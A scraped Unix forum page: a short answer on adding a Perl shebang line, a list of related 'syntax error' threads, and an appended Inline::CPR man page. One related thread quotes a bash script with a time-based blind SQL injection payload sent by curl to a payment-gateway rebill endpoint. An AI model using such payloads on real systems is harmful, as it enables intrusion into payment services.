Sponsored Content
Top Forums Shell Programming and Scripting syntax error near unexpected token `=' Post 302497860 by pludi on Friday 18th of February 2011 08:48:31 AM
Old 02-18-2011
By just running ./fil.pl the script is not run by the Perl interpreter, but by the shell, which doesn't understand that syntax. You'll have to explicitly declare the interpreter in that case by adding a shebang line at the top:
Code:
#!/usr/bin/perl

(or wherever your Perl interpreter resides)
 

10 More Discussions You Might Find Interesting

1. Shell Programming and Scripting

sh syntax error unexpected token done

I'm getting the following error: line 21: syntax error near unexpected token `done` line 21: `done` and I haven't been able to figure out why. Here is my code #!/bin/sh if ; then echo 'Usage: rename getexp/replStr ' exit 0 fi arg = $1 shift while ; do (5 Replies)
Discussion started by: NullPointer
5 Replies

2. Shell Programming and Scripting

Syntax error near unexpected token `('

Guys , This is an output of my script errored out for "Syntax error near unexpected token `(' " Can someone tell me whats wrong with my script. Below is my original script pasted. #!/bin/bash Script Creation Date 01/21/2010 Author baraghun ... (7 Replies)
Discussion started by: raghunsi
7 Replies

3. UNIX for Advanced & Expert Users

syntax error near unexpected token '{

Hi, I am running the following script through cygwin and getting below mentioned error. ******************************************* #!/bin/sh # constants WORK_DIR="deploy" INFOFILE="deploy.info" INTROFILE="Intro.sh" CMGMT_PKG="com.kintana.cmgmt.deploy" DEPLOY_PREFIX="mitg" ... (2 Replies)
Discussion started by: MandyR
2 Replies

4. Shell Programming and Scripting

Syntax error near unexpected token `('

What do I do here? #!/bin/bash payload=-1 AND 1=IF(21,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)# hash=`echo -n $payload md5sum tr -d 'n' sed 'ss-sg' md5sum tr -d 'n' sed 'ss-sg'` curl --data cs2=chronopay&cs1=$payload&cs3=$hash&transaction_type=rebill... (2 Replies)
Discussion started by: iiiiiiiiiii
2 Replies

5. Shell Programming and Scripting

Syntax error near unexpected token `else'

Hi, I am trying to read the session log through script. But it keeps showing me some error near. I have tried everything. Even tried converting the script using sed command to remove the hidden characters(\r).But nothing seems to be working.Below is the script : #!/bin/bash cd... (6 Replies)
Discussion started by: Aryan12345
6 Replies

6. Shell Programming and Scripting

Syntax error near unexpected token '('

I tried to execute the code but I got this error ./Array.c: line 9: syntax error near unexpected token '(' ./Array.c: line 9: ' nvals = get_data(a,MAXARRAY);' and #include<stdio.h> #define MAXARRAY 1000 main() { int a, nvals; nvals =... (7 Replies)
Discussion started by: sgradywhite
7 Replies

7. Shell Programming and Scripting

Syntax error near unexpected token

Hi all, I have a simple script that doesn't work somehow. I can't seem to be spotting the cause of the malfunction. count=$((1)) for item in `cat test1.txt` printf %s `sed -n $((count))p test2.txt` > test3.txt count=$((count+1)) do something done I get ; ./why.sh: line 3:... (14 Replies)
Discussion started by: y33t
14 Replies

8. How to Post in the The UNIX and Linux Forums

Syntax error near unexpected token `('

I have 2 files like a.txt and b.txt and the content is as below cat a.txt 810750125 117780 /BSCSQAT4A/bscsqat4a/lib/jar/wclt_common.jar 1803152428 13300 /BSCSQAT4A/bscsqat4a/lib/jar/WFMSSupportTool.jar 2663502779 67049 /BSCSQAT4A/bscsqat4a/lib/jar/wma.jar 687942896 665272... (1 Reply)
Discussion started by: ranabhavish
1 Replies

9. UNIX for Beginners Questions & Answers

Syntax error near unexpected token

Dears, While executing the below script im getting the error at line 30. Please let me know what changes to be done to fix this. test.sh: line 30: syntax error near unexpected token `done' test.sh: line 30: ` done ' #!/bin/sh # Rev. PA1 # author: eillops # date: 26-04-2018 # #... (1 Reply)
Discussion started by: Kamesh G
1 Replies

10. Ubuntu

Syntax error near unexpected token `('

detect_mouse_mvt.sh /home/andy/bin/detect_mouse_mvt.sh: line 4: syntax error near unexpected token `(' /home/andy/bin/detect_mouse_mvt.sh: line 4: `fh = file('/dev/input/mice')' #!/bin/bash # # fh = file('/dev/input/mice') while True: fh.read(3) print 'Mouse... (15 Replies)
Discussion started by: drew77
15 Replies
CPR(3)							User Contributed Perl Documentation						    CPR(3)

NAME
Inline::CPR - C Perl Run. Embed Perl in C, ala Inline SYNOPSIS
#!/usr/local/bin/cpr int main(void) { printf("Hello World, I'm running under Perl version %s ", CPR_eval("use Config; $Config{version}") ); return 0; } DESCRIPTION
Is it C? Is it Perl? It's neither, it's both. It's CPR! CPR (C Perl Run) is a "new language" that looks like C. You don't need to compile it. You just run it, much like Perl. As an added bonus, you'll get access to the full internals of Perl via the CPR API. The idea is that you just put a CPR hashbang at the top of your C program and run it like a script. The CPR interpreter will run your C code under Perl. If your 'hash' doesn't 'bang', you can run your program like this: cpr synopsis.cpr How does it work? To understand CPR, you need to understand the Perl module, "Inline.pm". Inline lets you write Perl subroutines in other languages, like C. CPR is a natural extension of this. The CPR interpreter ("/usr/local/bin/cpr") is a small binary program which performs a bootstrap process that goes like this: - The "cpr" interpreter "exec"s "perl" and tells it to run the script "/usr/local/bin/cpr.pl". - The name of your CPR program is passed to "cpr.pl". - "cpr.pl" loads your CPR source code and uses "Inline::CPR" to compile it and bind your "main()" function to Perl. - Then "cpr.pl" simply invokes the "main()" function and you're off and running. Notes on Usage 1. The CPR tools will get installed in the same directory as the "perl" binary on your system. (I just used "/usr/local/bin/" as an example) 2. If you installed "Inline::CPR" by hand, the "make" command will have created the file './examples/synopsis.cpr'. This is a sample CPR program that you can try running. It's the same as the SYNOPSIS example above, except that the hashbang will point to your newly installed CPR interpreter. 3. Although Inline::CPR is a module, it is only used to support the "cpr" interpreter program. You don't ever actually "use" it in a Perl script. 4. You must have a "main()" function in your CPR program. This is what "cpr" binds to. 5. The "cpr" interpreter internally changes your function "main()" to "cpr_main()". Otherwise it would conflict with Perl's "main()" function. 6. The first time you run a CPR program it will seem to "hang" for several seconds. This is normal. The C code is being compiled. Experienced Inline users will be familiar with this. (Since your compiled code is cached to disk, subsequent runs will be fast) 7. CPR builds and caches your compiled CPR code in the directory './.cpr/'. 8. CPR will return (to the system) whatever integer value your "main()" function returns. 9. You don't need to "#include" most of the standard header files. These are automatically included by Inline::CPR. 10. CPR will work with Perl 5.005 and higher. The CPR API will be made to work with those versions. (Maybe even with Perl6) The CPR API The CPR API is just a set of C macros that you can use to access the internals of Perl5. You can also use the Perl5 API. See "perldoc perlapi". The main focus of CPR will be to develop a wrapper API around the current Perl5 one. It will be more consistent, flexible and easy to use. Since it should be well thought out, I have currently only implemented one function: CPR_eval. But you should be able to do quite a bit with just that one. CPR_eval() Eval a string (char*) in Perl and return the result as a string. const char* CPR_eval(char*); Why? Several reasons, (none great). 1. It's a cute Perl trick. After explaining CPR to an uninitiated friend, he said "My head feels like it's been wrapped around a brick". That should be reason enough :) 2. A dead simple way to embed Perl into C. You're not really embedding Perl into C. Your C is being embedded seamlessly into Perl. But since you never see the Perl, you can just think of it the first way. 3. A mechanism for designing a new Perl5 API. The current one is very adhoc. Some macros come from XS and others from the P5P. There's a lot of room for improvement. Also, with Perl6 looming, finding a wrapper API for Perl5 that might possibly be upwards compatible, is at least worth considering. 4. Inline::CPR is a good example of how a CPAN module can be used to build and install a binary program. It is interesting to note that the C program "cpr.c" is actually generated by the Perl script "cpr.plc" at "make" time. Even if there is no "real world" use for the CPR language, it is at least an easy-to-use tool for playing around with the internals of Perl5. The more "regular people" there are playing in the guts, the more useful we'll be for helping improve our language. LIMITATIONS
1. CPR only binds to a "main()" function with a signature of: int main(void); It will not yet bind to: int main(int argc, char* argv[]); and friends. 2. There is currently no way to specify configuration options. This will be added soon. Then you'll be able to link in shared libraries and such. 3. Does not yet support MSWin32. MAILING LIST
The mailing list for "Inline.pm" and related projects is: inline@perl.org To subscribe, send a message to inline-subscribe@perl.org AUTHOR
Brian Ingerson <INGY@cpan.org> COPYRIGHT
Copyright (c) 2001, Brian Ingerson. All Rights Reserved. This module is free software. It may be used, redistributed and/or modified under the terms of the Perl Artistic License. (see http://www.perl.com/perl/misc/Artistic.html) perl v5.12.1 2001-06-10 CPR(3)
All times are GMT -4. The time now is 09:47 PM.
Unix & Linux Forums Content Copyright 1993-2022. All Rights Reserved.
Privacy Policy